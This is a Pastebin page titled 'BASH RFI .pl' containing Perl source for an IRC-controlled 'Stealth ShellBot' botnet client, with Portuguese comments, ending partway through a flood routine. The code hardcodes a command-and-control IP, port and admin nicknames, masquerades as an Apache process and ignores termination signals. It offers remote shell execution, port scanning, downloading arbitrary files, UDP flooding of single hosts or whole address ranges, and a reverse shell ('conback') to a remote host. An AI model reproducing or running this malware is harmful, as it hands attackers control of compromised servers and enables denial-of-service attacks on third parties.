API tools faq
paste
Advertisement
Cryston

BASH RFI .pl

Cryston
May 3rd, 2015
262
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.42 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3.  
  4.  
  5.  
  6.  
  7. ##########
  8. CONFIGURACAO############
  9.  
  10.  
  11.  
  12. my $processo = '/usr/local/apache/bin/httpd -DSSL';
  13.  
  14.  
  15.  
  16.  
  17. $servidor = '111.68.174.215'
  18. unless $servidor;
  19.  
  20.  
  21.  
  22. my $porta = '7720';
  23.  
  24. my@ hostauth = ("aqzwfx.net");
  25.  
  26. my@ canais = ("#non");
  27.  
  28. my@ adms = ("bad", "Simplu", "non");
  29.  
  30. my $linas_max = 6;
  31.  
  32. my $sleep = 3;
  33.  
  34. my $nick = 'blue';
  35.  
  36. my $ircname = 'blue';
  37.  
  38. my $realname = id;
  39.  
  40. my $acessoshell = 1;
  41.  
  42.  
  43.  
  44. ########
  45. Stealth ShellBot##########
  46.  
  47.  
  48.  
  49. my $prefixo = "!";
  50.  
  51.  
  52.  
  53. my $estatisticas = 0;
  54.  
  55.  
  56.  
  57. my $pacotes = 1;
  58.  
  59.  
  60.  
  61. ####################################
  62.  
  63.  
  64.  
  65.  
  66. my $VERSAO = '0.2a';
  67.  
  68.  
  69.  
  70.  
  71. $SIG {
  72. 'INT'
  73. } = 'IGNORE';
  74.  
  75.  
  76.  
  77. $SIG {
  78. 'HUP'
  79. } = 'IGNORE';
  80.  
  81.  
  82.  
  83. $SIG {
  84. 'TERM'
  85. } = 'IGNORE';
  86.  
  87.  
  88.  
  89. $SIG {
  90. 'CHLD'
  91. } = 'IGNORE';
  92.  
  93.  
  94.  
  95. $SIG {
  96. 'PS'
  97. } = 'IGNORE';
  98.  
  99.  
  100.  
  101.  
  102. use IO::Socket;
  103.  
  104.  
  105.  
  106. use Socket;
  107.  
  108.  
  109.  
  110. use IO::Select;
  111.  
  112.  
  113.  
  114. chdir("/");
  115.  
  116.  
  117.  
  118. $servidor = "$ARGV[0]"
  119. if $ARGV[0];
  120.  
  121.  
  122.  
  123. $0 = "$processo".
  124. "\0";
  125.  
  126.  
  127.  
  128. my $pid = fork;
  129.  
  130.  
  131.  
  132. exit
  133. if $pid;
  134.  
  135.  
  136.  
  137. die "Problema com o fork: $!"
  138. unless defined($pid);
  139.  
  140.  
  141.  
  142.  
  143. my % irc_servers;
  144.  
  145.  
  146.  
  147. my % DCC;
  148.  
  149.  
  150.  
  151. my $dcc_sel = new IO::Select - > new();
  152.  
  153.  
  154.  
  155.  
  156. #####################
  157.  
  158.  
  159.  
  160. #
  161. Stealth Shellbot#
  162.  
  163.  
  164.  
  165. #####################
  166.  
  167.  
  168.  
  169.  
  170. sub getnick {
  171.  
  172.  
  173.  
  174. #
  175. my $retornonick = & _get("http://websurvey.burstmedia.com/names.txt");
  176.  
  177.  
  178.  
  179. #
  180. return $retornonick;
  181.  
  182.  
  183.  
  184. return "vn".int(rand(1000));
  185.  
  186.  
  187.  
  188. }
  189.  
  190.  
  191.  
  192.  
  193. sub getident {
  194.  
  195.  
  196.  
  197. my $retornoident = & _get("http://www.minpop.com/sk12pack/idents.php");
  198.  
  199.  
  200.  
  201. my $identchance = int(rand(100));
  202.  
  203.  
  204.  
  205. if ($identchance > 30) {
  206.  
  207.  
  208.  
  209. return $nick;
  210.  
  211.  
  212.  
  213. } else {
  214.  
  215.  
  216.  
  217. return $retornoident;
  218.  
  219.  
  220.  
  221. }
  222.  
  223.  
  224.  
  225. return $retornoident;
  226.  
  227.  
  228.  
  229. }
  230.  
  231.  
  232.  
  233.  
  234. sub getname {
  235.  
  236.  
  237.  
  238. my $retornoname = & _get("http://www.minpop.com/sk12pack/names.php");
  239.  
  240.  
  241.  
  242. return $retornoname;
  243.  
  244.  
  245.  
  246. }
  247.  
  248.  
  249.  
  250.  
  251. #
  252. IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
  253.  
  254.  
  255.  
  256. sub getident2 {
  257.  
  258.  
  259.  
  260. my $length = shift;
  261.  
  262.  
  263.  
  264. $length = 3
  265. if ($length < 3);
  266.  
  267.  
  268.  
  269.  
  270. my@ chars = ('a'..
  271. 'z', 'A'..
  272. 'Z', '1'..
  273. '9');
  274.  
  275.  
  276.  
  277. foreach(1..$length)
  278.  
  279.  
  280.  
  281. {
  282.  
  283.  
  284.  
  285. $randomstring. = $chars[rand@ chars];
  286.  
  287.  
  288.  
  289. }
  290.  
  291.  
  292.  
  293. return $randomstring;
  294.  
  295.  
  296.  
  297. }
  298.  
  299.  
  300.  
  301.  
  302. sub getstore($$)
  303.  
  304.  
  305.  
  306. {
  307.  
  308.  
  309.  
  310. my $url = shift;
  311.  
  312.  
  313.  
  314. my $file = shift;
  315.  
  316.  
  317.  
  318.  
  319. $http_stream_out = 1;
  320.  
  321.  
  322.  
  323. open(GET_OUTFILE, "> $file");
  324.  
  325.  
  326.  
  327. % http_loop_check = ();
  328.  
  329.  
  330.  
  331. _get($url);
  332.  
  333.  
  334.  
  335. close GET_OUTFILE;
  336.  
  337.  
  338.  
  339. return $main::http_get_result;
  340.  
  341.  
  342.  
  343. }
  344.  
  345.  
  346.  
  347.  
  348. sub _get
  349.  
  350.  
  351.  
  352. {
  353.  
  354.  
  355.  
  356. my $url = shift;
  357.  
  358.  
  359.  
  360. my $proxy = "";
  361.  
  362.  
  363.  
  364. grep {
  365. (lc($_) eq "http_proxy") && ($proxy = $ENV {
  366. $_
  367. })
  368. }
  369. keys % ENV;
  370.  
  371.  
  372.  
  373. if (($proxy eq "") && $url = ~m, ^ http: //([^/:]+)(?::(\d+))?(/\S*)?$,) {
  374.  
  375.  
  376.  
  377. my $host = $1;
  378.  
  379.  
  380.  
  381. my $port = $2 || 80;
  382.  
  383.  
  384.  
  385. my $path = $3;
  386.  
  387.  
  388.  
  389. $path = "/"
  390. unless defined($path);
  391.  
  392.  
  393.  
  394. return _trivial_http_get($host, $port, $path);
  395.  
  396.  
  397.  
  398. }
  399. elsif($proxy = ~m, ^ http: //([^/:]+):(\d+)(/\S*)?$,) {
  400.  
  401.  
  402.  
  403. my $host = $1;
  404.  
  405.  
  406.  
  407. my $port = $2;
  408.  
  409.  
  410.  
  411. my $path = $url;
  412.  
  413.  
  414.  
  415. return _trivial_http_get($host, $port, $path);
  416.  
  417.  
  418.  
  419. } else {
  420.  
  421.  
  422.  
  423. return undef;
  424.  
  425.  
  426.  
  427. }
  428.  
  429.  
  430.  
  431. }
  432.  
  433.  
  434.  
  435.  
  436. sub _trivial_http_get
  437.  
  438.  
  439.  
  440. {
  441.  
  442.  
  443.  
  444. my($host, $port, $path) = @_;
  445.  
  446.  
  447.  
  448. my($AGENT, $VERSION, $p);
  449.  
  450.  
  451.  
  452. #
  453. print "HOST=$host, PORT=$port, PATH=$path\n";
  454.  
  455.  
  456.  
  457.  
  458. $AGENT = "get-minimal";
  459.  
  460.  
  461.  
  462. $VERSION = "20000118";
  463.  
  464.  
  465.  
  466.  
  467. $path = ~s / /%20/g;
  468.  
  469.  
  470.  
  471.  
  472. require IO::Socket;
  473.  
  474.  
  475.  
  476. local($ ^ W) = 0;
  477.  
  478.  
  479.  
  480. my $sock = IO::Socket::INET - > new(PeerAddr => $host,
  481.  
  482.  
  483.  
  484. PeerPort => $port,
  485.  
  486.  
  487.  
  488. Proto => 'tcp',
  489.  
  490.  
  491.  
  492. Timeout => 60) ||
  493. return;
  494.  
  495.  
  496.  
  497. $sock - > autoflush;
  498.  
  499.  
  500.  
  501. my $netloc = $host;
  502.  
  503.  
  504.  
  505. $netloc. = ":$port"
  506. if $port != 80;
  507.  
  508.  
  509.  
  510. my $request = "GET $path HTTP/1.0\015\012"
  511.  
  512.  
  513.  
  514. .
  515. "Host: $netloc\015\012"
  516.  
  517.  
  518.  
  519. .
  520. "User-Agent: $AGENT/$VERSION/u\015\012";
  521.  
  522.  
  523.  
  524. $request. = "Pragma: no-cache\015\012"
  525. if ($main::http_no_cache);
  526.  
  527.  
  528.  
  529. $request. = "\015\012";
  530.  
  531.  
  532.  
  533. print $sock $request;
  534.  
  535.  
  536.  
  537.  
  538. my $buf = "";
  539.  
  540.  
  541.  
  542. my $n;
  543.  
  544.  
  545.  
  546. my $b1 = "";
  547.  
  548.  
  549.  
  550. while ($n = sysread($sock, $buf, 8 * 1024, length($buf))) {
  551.  
  552.  
  553.  
  554. if ($b1 eq "") {#
  555. first block ?
  556.  
  557.  
  558.  
  559. $b1 = $buf;#
  560. Save this
  561. for errorcode parsing
  562.  
  563.  
  564.  
  565. $buf = ~s / . + ? \015 ? \012\ 015 ? \012 //s; # zap header
  566.  
  567.  
  568.  
  569. }
  570.  
  571.  
  572.  
  573. if ($http_stream_out) {
  574. print GET_OUTFILE $buf;
  575. $buf = "";
  576. }
  577.  
  578.  
  579.  
  580. }
  581.  
  582.  
  583.  
  584. return undef unless defined($n);
  585.  
  586.  
  587.  
  588.  
  589. $main::http_get_result = 200;
  590.  
  591.  
  592.  
  593. if ($b1 = ~m, ^ HTTP / \d + \.\d + \s + (\d + )[ ^ \012] * \012, ) {
  594.  
  595.  
  596.  
  597. $main::http_get_result = $1;
  598.  
  599.  
  600.  
  601. #
  602. print "CODE=$main::http_get_result\n$b1\n";
  603.  
  604.  
  605.  
  606. if ($main::http_get_result = ~/^30[1237]/ && $b1 = ~/\012Location:\s*(\S+)/
  607.  
  608.  
  609.  
  610. ) {
  611.  
  612.  
  613.  
  614. #
  615. redirect
  616.  
  617.  
  618.  
  619. my $url = $1;
  620.  
  621.  
  622.  
  623. return undef
  624. if $http_loop_check {
  625. $url
  626. }++;
  627.  
  628.  
  629.  
  630. return _get($url);
  631.  
  632.  
  633.  
  634. }
  635.  
  636.  
  637.  
  638. return undef unless $main::http_get_result = ~/^2/;
  639.  
  640.  
  641.  
  642. }
  643.  
  644.  
  645.  
  646.  
  647. return $buf;
  648.  
  649.  
  650.  
  651. }
  652.  
  653.  
  654.  
  655.  
  656. #############################
  657.  
  658.  
  659.  
  660. #
  661. B0tchZ na veia ehehe: P#
  662.  
  663.  
  664.  
  665. #############################
  666.  
  667.  
  668.  
  669.  
  670. $sel_cliente = IO::Select - > new();
  671.  
  672.  
  673.  
  674. sub sendraw {
  675.  
  676.  
  677.  
  678. if ($# _ == '1') {
  679.  
  680.  
  681.  
  682. my $socket = $_[0];
  683.  
  684.  
  685.  
  686. print $socket "$_[1]\n";
  687.  
  688.  
  689.  
  690. } else {
  691.  
  692.  
  693.  
  694. print $IRC_cur_socket "$_[0]\n";
  695.  
  696.  
  697.  
  698. }
  699.  
  700.  
  701.  
  702. }
  703.  
  704.  
  705.  
  706.  
  707. sub conectar {
  708.  
  709.  
  710.  
  711. my $meunick = $_[0];
  712.  
  713.  
  714.  
  715. my $servidor_con = $_[1];
  716.  
  717.  
  718.  
  719. my $porta_con = $_[2];
  720.  
  721.  
  722.  
  723.  
  724. my $IRC_socket = IO::Socket::INET - > new(Proto => "tcp", PeerAddr => "$servidor_con", PeerPort => $porta_con) or
  725. return (1);
  726.  
  727.  
  728.  
  729. if (defined($IRC_socket)) {
  730.  
  731.  
  732.  
  733. $IRC_cur_socket = $IRC_socket;
  734.  
  735.  
  736.  
  737.  
  738. $IRC_socket - > autoflush(1);
  739.  
  740.  
  741.  
  742. $sel_cliente - > add($IRC_socket);
  743.  
  744.  
  745.  
  746.  
  747. $irc_servers {
  748. $IRC_cur_socket
  749. } {
  750. 'host'
  751. } = "$servidor_con";
  752.  
  753.  
  754.  
  755. $irc_servers {
  756. $IRC_cur_socket
  757. } {
  758. 'porta'
  759. } = "$porta_con";
  760.  
  761.  
  762.  
  763. $irc_servers {
  764. $IRC_cur_socket
  765. } {
  766. 'nick'
  767. } = $meunick;
  768.  
  769.  
  770.  
  771. $irc_servers {
  772. $IRC_cur_socket
  773. } {
  774. 'meuip'
  775. } = $IRC_socket - > sockhost;
  776.  
  777.  
  778.  
  779. nick("$meunick");
  780.  
  781.  
  782.  
  783. sendraw("USER $ircname ".$IRC_socket - > sockhost.
  784. " $servidor_con :$realname");
  785.  
  786.  
  787.  
  788. sleep 2;
  789.  
  790.  
  791.  
  792. }
  793.  
  794.  
  795.  
  796.  
  797. }
  798.  
  799.  
  800.  
  801. my $line_temp;
  802.  
  803.  
  804.  
  805. while (1) {
  806.  
  807.  
  808.  
  809. while (!(keys( % irc_servers))) {
  810. conectar("$nick", "$servidor", "$porta");
  811. }
  812.  
  813.  
  814.  
  815. delete($irc_servers {
  816. ''
  817. }) if (defined($irc_servers {
  818. ''
  819. }));
  820.  
  821.  
  822.  
  823. & DCC::connections;
  824.  
  825.  
  826.  
  827. my@ ready = $sel_cliente - > can_read(0.6);
  828.  
  829.  
  830.  
  831. next unless(@ready);
  832.  
  833.  
  834.  
  835. foreach $fh(@ready) {
  836.  
  837.  
  838.  
  839. $IRC_cur_socket = $fh;
  840.  
  841.  
  842.  
  843. $meunick = $irc_servers {
  844. $IRC_cur_socket
  845. } {
  846. 'nick'
  847. };
  848.  
  849.  
  850.  
  851. $nread = sysread($fh, $msg, 4096);
  852.  
  853.  
  854.  
  855. if ($nread == 0) {
  856.  
  857.  
  858.  
  859. $sel_cliente - > remove($fh);
  860.  
  861.  
  862.  
  863. $fh - > close;
  864.  
  865.  
  866.  
  867. delete($irc_servers {
  868. $fh
  869. });
  870.  
  871.  
  872.  
  873. }
  874.  
  875.  
  876.  
  877. @
  878. lines = split(/\n/, $msg);
  879.  
  880.  
  881.  
  882.  
  883. for (my $c = 0; $c <= $# lines; $c++) {
  884.  
  885.  
  886.  
  887. $line = $lines[$c];
  888.  
  889.  
  890.  
  891. $line = $line_temp.$line
  892. if ($line_temp);
  893.  
  894.  
  895.  
  896. $line_temp = '';
  897.  
  898.  
  899.  
  900. $line = ~s / \r$ //;
  901.  
  902.  
  903.  
  904. unless($c == $# lines) {
  905.  
  906.  
  907.  
  908. parse("$line");
  909.  
  910.  
  911.  
  912. } else {
  913.  
  914.  
  915.  
  916. if ($# lines == 0) {
  917.  
  918.  
  919.  
  920. parse("$line");
  921.  
  922.  
  923.  
  924. }
  925. elsif($lines[$c] = ~/\r$/) {
  926.  
  927.  
  928.  
  929. parse("$line");
  930.  
  931.  
  932.  
  933. }
  934. elsif($line = ~/^(\S+) NOTICE AUTH :\*\*\*/) {
  935.  
  936.  
  937.  
  938. parse("$line");
  939.  
  940.  
  941.  
  942. } else {
  943.  
  944.  
  945.  
  946. $line_temp = $line;
  947.  
  948.  
  949.  
  950. }
  951.  
  952.  
  953.  
  954. }
  955.  
  956.  
  957.  
  958. }
  959.  
  960.  
  961.  
  962. }
  963.  
  964.  
  965.  
  966. }
  967.  
  968.  
  969.  
  970.  
  971. sub parse {
  972.  
  973.  
  974.  
  975. my $servarg = shift;
  976.  
  977.  
  978.  
  979. if ($servarg = ~/^PING \:(.*)/) {
  980.  
  981.  
  982.  
  983. sendraw("PONG :$1");
  984.  
  985.  
  986.  
  987. }
  988. elsif($servarg = ~/^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  989.  
  990.  
  991.  
  992. my $pn = $1;
  993. my $onde = $4;
  994. my $args = $5;
  995.  
  996.  
  997.  
  998. if ($args = ~/^\001VERSION\001$/) {
  999.  
  1000.  
  1001.  
  1002. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  1003.  
  1004.  
  1005.  
  1006. }
  1007.  
  1008.  
  1009.  
  1010. elsif($args = ~/^\001PING\s+(\d+)\001$/) {
  1011.  
  1012.  
  1013.  
  1014. notice("$pn", "\001PONG\001");
  1015.  
  1016.  
  1017.  
  1018. }
  1019.  
  1020.  
  1021.  
  1022. elsif(grep {
  1023. $_ = ~/^\Q$pn\E$/i
  1024. }@
  1025. adms) {
  1026.  
  1027.  
  1028.  
  1029. if ($onde eq "$meunick") {
  1030.  
  1031.  
  1032.  
  1033. shell("$pn", "$args");
  1034.  
  1035.  
  1036.  
  1037. }
  1038.  
  1039.  
  1040.  
  1041. elsif($args = ~/^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/) {
  1042.  
  1043.  
  1044.  
  1045. my $natrix = $1;
  1046.  
  1047.  
  1048.  
  1049. my $arg = $2;
  1050.  
  1051.  
  1052.  
  1053. if ($arg = ~/^\!(.*)/) {
  1054.  
  1055.  
  1056.  
  1057. ircase("$pn", "$onde", "$1") unless($natrix eq "$prefixo"
  1058. and $arg = ~/^\!nick/);
  1059.  
  1060.  
  1061.  
  1062. }
  1063. elsif($arg = ~/^\@(.*)/) {
  1064.  
  1065.  
  1066.  
  1067. $ondep = $onde;
  1068.  
  1069.  
  1070.  
  1071. $ondep = $pn
  1072. if $onde eq $meunick;
  1073.  
  1074.  
  1075.  
  1076. bfunc("$ondep", "$1");
  1077.  
  1078.  
  1079.  
  1080. } else {
  1081.  
  1082.  
  1083.  
  1084. shell("$onde", "$arg");
  1085.  
  1086.  
  1087.  
  1088. }
  1089.  
  1090.  
  1091.  
  1092. }
  1093.  
  1094.  
  1095.  
  1096. }
  1097.  
  1098.  
  1099.  
  1100. }
  1101. elsif($servarg = ~/^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  1102.  
  1103.  
  1104.  
  1105. if (lc($1) eq lc($meunick)) {
  1106.  
  1107.  
  1108.  
  1109. $meunick = $4;
  1110.  
  1111.  
  1112.  
  1113. $irc_servers {
  1114. $IRC_cur_socket
  1115. } {
  1116. 'nick'
  1117. } = $meunick;
  1118.  
  1119.  
  1120.  
  1121. }
  1122.  
  1123.  
  1124.  
  1125. }
  1126. elsif($servarg = ~m / ^ \: (. + ? )\ s + 433 / i) {
  1127.  
  1128.  
  1129.  
  1130. $meunick = getnick();
  1131.  
  1132.  
  1133.  
  1134. nick("$meunick");
  1135.  
  1136.  
  1137.  
  1138. }
  1139. elsif($servarg = ~m / ^ \: (. + ? )\ s + 001\ s + (\S + )\ s / i) {
  1140.  
  1141.  
  1142.  
  1143. $meunick = $2;
  1144.  
  1145.  
  1146.  
  1147. $irc_servers {
  1148. $IRC_cur_socket
  1149. } {
  1150. 'nick'
  1151. } = $meunick;
  1152.  
  1153.  
  1154.  
  1155. $irc_servers {
  1156. $IRC_cur_socket
  1157. } {
  1158. 'nome'
  1159. } = "$1";
  1160.  
  1161.  
  1162.  
  1163. foreach my $canal(@canais) {
  1164.  
  1165.  
  1166.  
  1167. sendraw("JOIN $canal");
  1168.  
  1169.  
  1170.  
  1171. }
  1172.  
  1173.  
  1174.  
  1175. }
  1176.  
  1177.  
  1178.  
  1179. }
  1180.  
  1181.  
  1182.  
  1183.  
  1184. sub bfunc {
  1185.  
  1186.  
  1187.  
  1188. my $printl = $_[0];
  1189.  
  1190.  
  1191.  
  1192. my $funcarg = $_[1];
  1193.  
  1194.  
  1195.  
  1196. if (my $pid = fork) {
  1197.  
  1198.  
  1199.  
  1200. waitpid($pid, 0);
  1201.  
  1202.  
  1203.  
  1204. } else {
  1205.  
  1206.  
  1207.  
  1208. if (fork) {
  1209.  
  1210.  
  1211.  
  1212. exit;
  1213.  
  1214.  
  1215.  
  1216. } else {
  1217.  
  1218.  
  1219.  
  1220. if ($funcarg = ~/^portscan (.*)/) {
  1221.  
  1222.  
  1223.  
  1224. my $hostip = "$1";
  1225.  
  1226.  
  1227.  
  1228. my@ portas = ("21", "22", "23", "25", "53", "80", "110", "143");
  1229.  
  1230.  
  1231.  
  1232. my(@aberta, % porta_banner);
  1233.  
  1234.  
  1235.  
  1236. foreach my $porta(@portas) {
  1237.  
  1238.  
  1239.  
  1240. my $scansock = IO::Socket::INET - > new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  1241.  
  1242.  
  1243.  
  1244. if ($scansock) {
  1245.  
  1246.  
  1247.  
  1248. push(@aberta, $porta);
  1249.  
  1250.  
  1251.  
  1252. $scansock - > close;
  1253.  
  1254.  
  1255.  
  1256. }
  1257.  
  1258.  
  1259.  
  1260. }
  1261.  
  1262.  
  1263.  
  1264. if (@aberta) {
  1265.  
  1266.  
  1267.  
  1268. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  1269.  
  1270.  
  1271.  
  1272. } else {
  1273.  
  1274.  
  1275.  
  1276. sendraw($IRC_cur_socket, "PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  1277.  
  1278.  
  1279.  
  1280. }
  1281.  
  1282.  
  1283.  
  1284. }
  1285.  
  1286.  
  1287.  
  1288.  
  1289. elsif($funcarg = ~/^download\s+(.*)\s+(.*)/) {
  1290.  
  1291.  
  1292.  
  1293. getstore("$1", "$2");
  1294.  
  1295.  
  1296.  
  1297. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!") if ($estatisticas);
  1298.  
  1299.  
  1300.  
  1301. }
  1302.  
  1303.  
  1304.  
  1305.  
  1306. elsif($funcarg = ~/^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  1307.  
  1308.  
  1309.  
  1310. my $hostname = "$1";
  1311.  
  1312.  
  1313.  
  1314. my $portainicial = "$2";
  1315.  
  1316.  
  1317.  
  1318. my $portafinal = "$3";
  1319.  
  1320.  
  1321.  
  1322. my(@abertas, % porta_banner);
  1323.  
  1324.  
  1325.  
  1326. foreach my $porta($portainicial..$portafinal)
  1327.  
  1328.  
  1329.  
  1330. {
  1331.  
  1332.  
  1333.  
  1334. my $scansock = IO::Socket::INET - > new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  1335.  
  1336.  
  1337.  
  1338. if ($scansock) {
  1339.  
  1340.  
  1341.  
  1342. push(@abertas, $porta);
  1343.  
  1344.  
  1345.  
  1346. $scansock - > close;
  1347.  
  1348.  
  1349.  
  1350. if ($estatisticas) {
  1351.  
  1352.  
  1353.  
  1354. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  1355.  
  1356.  
  1357.  
  1358. }
  1359.  
  1360.  
  1361.  
  1362. }
  1363.  
  1364.  
  1365.  
  1366. }
  1367.  
  1368.  
  1369.  
  1370. if (@abertas) {
  1371.  
  1372.  
  1373.  
  1374. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  1375.  
  1376.  
  1377.  
  1378. } else {
  1379.  
  1380.  
  1381.  
  1382. sendraw($IRC_cur_socket, "PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  1383.  
  1384.  
  1385.  
  1386. }
  1387.  
  1388.  
  1389.  
  1390. }
  1391.  
  1392.  
  1393.  
  1394.  
  1395. #
  1396. Duas Versões simplificada do meu Tr0x;
  1397. D
  1398.  
  1399.  
  1400.  
  1401. elsif($funcarg = ~/^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  1402.  
  1403.  
  1404.  
  1405. return unless $pacotes;
  1406.  
  1407.  
  1408.  
  1409. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  1410.  
  1411.  
  1412.  
  1413. my $alvo = inet_aton("$1");
  1414.  
  1415.  
  1416.  
  1417. my $porta = "$2";
  1418.  
  1419.  
  1420.  
  1421. my $tempo = "$3";
  1422.  
  1423.  
  1424.  
  1425. my $pacote;
  1426.  
  1427.  
  1428.  
  1429. my $pacotese;
  1430.  
  1431.  
  1432.  
  1433. my $fim = time + $tempo;
  1434.  
  1435.  
  1436.  
  1437. my $pacota = 1;
  1438.  
  1439.  
  1440.  
  1441. while (($pacota == "1") && ($pacotes == "1")) {
  1442.  
  1443.  
  1444.  
  1445. $pacota = 0
  1446. if ((time >= $fim) && ($tempo != "0"));
  1447.  
  1448.  
  1449.  
  1450. $pacote = $rand x $rand x $rand;
  1451.  
  1452.  
  1453.  
  1454. $porta = int(rand 65000) + 1
  1455. if ($porta == "0");
  1456.  
  1457.  
  1458.  
  1459. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++
  1460. if ($pacotes == "1");
  1461.  
  1462.  
  1463.  
  1464. }
  1465.  
  1466.  
  1467.  
  1468. if ($estatisticas)
  1469.  
  1470.  
  1471.  
  1472. {
  1473.  
  1474.  
  1475.  
  1476. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo".
  1477. "s");
  1478.  
  1479.  
  1480.  
  1481. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  1482.  
  1483.  
  1484.  
  1485. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  1486.  
  1487.  
  1488.  
  1489. }
  1490.  
  1491.  
  1492.  
  1493. }
  1494.  
  1495.  
  1496.  
  1497.  
  1498. elsif($funcarg = ~/^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  1499.  
  1500.  
  1501.  
  1502. return unless $pacotes;
  1503.  
  1504.  
  1505.  
  1506. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  1507.  
  1508.  
  1509.  
  1510. my $faixaip = "$1";
  1511.  
  1512.  
  1513.  
  1514. my $porta = "$2";
  1515.  
  1516.  
  1517.  
  1518. my $tempo = "$3";
  1519.  
  1520.  
  1521.  
  1522. my $pacote;
  1523.  
  1524.  
  1525.  
  1526. my $pacotes;
  1527.  
  1528.  
  1529.  
  1530. my $fim = time + $tempo;
  1531.  
  1532.  
  1533.  
  1534. my $pacota = 1;
  1535.  
  1536.  
  1537.  
  1538. my $alvo;
  1539.  
  1540.  
  1541.  
  1542. while ($pacota == "1") {
  1543.  
  1544.  
  1545.  
  1546. $pacota = 0
  1547. if ((time >= $fim) && ($tempo != "0"));
  1548.  
  1549.  
  1550.  
  1551. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  1552.  
  1553.  
  1554.  
  1555. $alvo = inet_aton("$faixaip.$faixa");
  1556.  
  1557.  
  1558.  
  1559. $pacote = $rand x $rand x $rand;
  1560.  
  1561.  
  1562.  
  1563. $porta = int(rand 65000) + 1
  1564. if ($porta == "0");
  1565.  
  1566.  
  1567.  
  1568. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++
  1569. if ($pacotes == "1");
  1570.  
  1571.  
  1572.  
  1573. if ($faixa >= 255) {
  1574.  
  1575.  
  1576.  
  1577. $faixa = 1;
  1578.  
  1579.  
  1580.  
  1581. }
  1582.  
  1583.  
  1584.  
  1585. }
  1586.  
  1587.  
  1588.  
  1589. }
  1590.  
  1591.  
  1592.  
  1593. if ($estatisticas)
  1594.  
  1595.  
  1596.  
  1597. {
  1598.  
  1599.  
  1600.  
  1601. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo".
  1602. "s");
  1603.  
  1604.  
  1605.  
  1606. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  1607.  
  1608.  
  1609.  
  1610. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  1611.  
  1612.  
  1613.  
  1614. }
  1615.  
  1616.  
  1617.  
  1618. }
  1619.  
  1620.  
  1621.  
  1622.  
  1623. #
  1624. Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows;
  1625. p
  1626.  
  1627.  
  1628.  
  1629. elsif($funcarg = ~/^conback\s+(.*)\s+(\d+)/) {
  1630.  
  1631.  
  1632.  
  1633. my $host = "$1";
  1634.  
  1635.  
  1636.  
  1637. my $porta = "$2";
  1638.  
  1639.  
  1640.  
  1641. my $proto = getprotobyname('tcp');
  1642.  
  1643.  
  1644.  
  1645. my $iaddr = inet_aton($host);
  1646.  
  1647.  
  1648.  
  1649. my $paddr = sockaddr_in($porta, $iaddr);
  1650.  
  1651.  
  1652.  
  1653. my $shell = "/bin/sh -i";
  1654.  
  1655.  
  1656.  
  1657. if ($ ^ O eq "MSWin32") {
  1658.  
  1659.  
  1660.  
  1661. $shell = "cmd.exe";
  1662.  
  1663.  
  1664.  
  1665. }
  1666.  
  1667.  
  1668.  
  1669. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1670.  
  1671.  
  1672.  
  1673. connect(SOCKET, $paddr) or die "connect: $!";
  1674.  
  1675.  
  1676.  
  1677. open(STDIN, ">&SOCKET");
  1678.  
  1679.  
  1680.  
  1681. open(STDOUT, ">&SOCKET");
  1682.  
  1683.  
  1684.  
  1685. open(STDERR, ">&SOCKET");
  1686.  
  1687.  
  1688.  
  1689. system("$shell");
  1690.  
  1691.  
  1692.  
  1693. close(STDIN);
  1694.  
  1695.  
  1696.  
  1697. close(STDOUT);
  1698.  
  1699.  
  1700.  
  1701. close(STDERR);
  1702.  
  1703.  
  1704.  
  1705.  
  1706. if ($estatisticas)
  1707.  
  1708.  
  1709.  
  1710. {
  1711.  
  1712.  
  1713.  
  1714. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  1715.  
  1716.  
  1717.  
  1718. }
  1719.  
  1720.  
  1721.  
  1722. }
  1723.  
  1724.  
  1725.  
  1726.  
  1727. elsif($funcarg = ~/^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  1728.  
  1729.  
  1730.  
  1731. return unless $pacotes;
  1732.  
  1733.  
  1734.  
  1735. my($dtime, % pacotes) = attacker("$1", "$2", "$3");
  1736.  
  1737.  
  1738.  
  1739. $dtime = 1
  1740. if $dtime == 0;
  1741.  
  1742.  
  1743.  
  1744. my % bytes;
  1745.  
  1746.  
  1747.  
  1748. $bytes {
  1749. igmp
  1750. } = $2 * $pacotes {
  1751. igmp
  1752. };
  1753.  
  1754.  
  1755.  
  1756. $bytes {
  1757. icmp
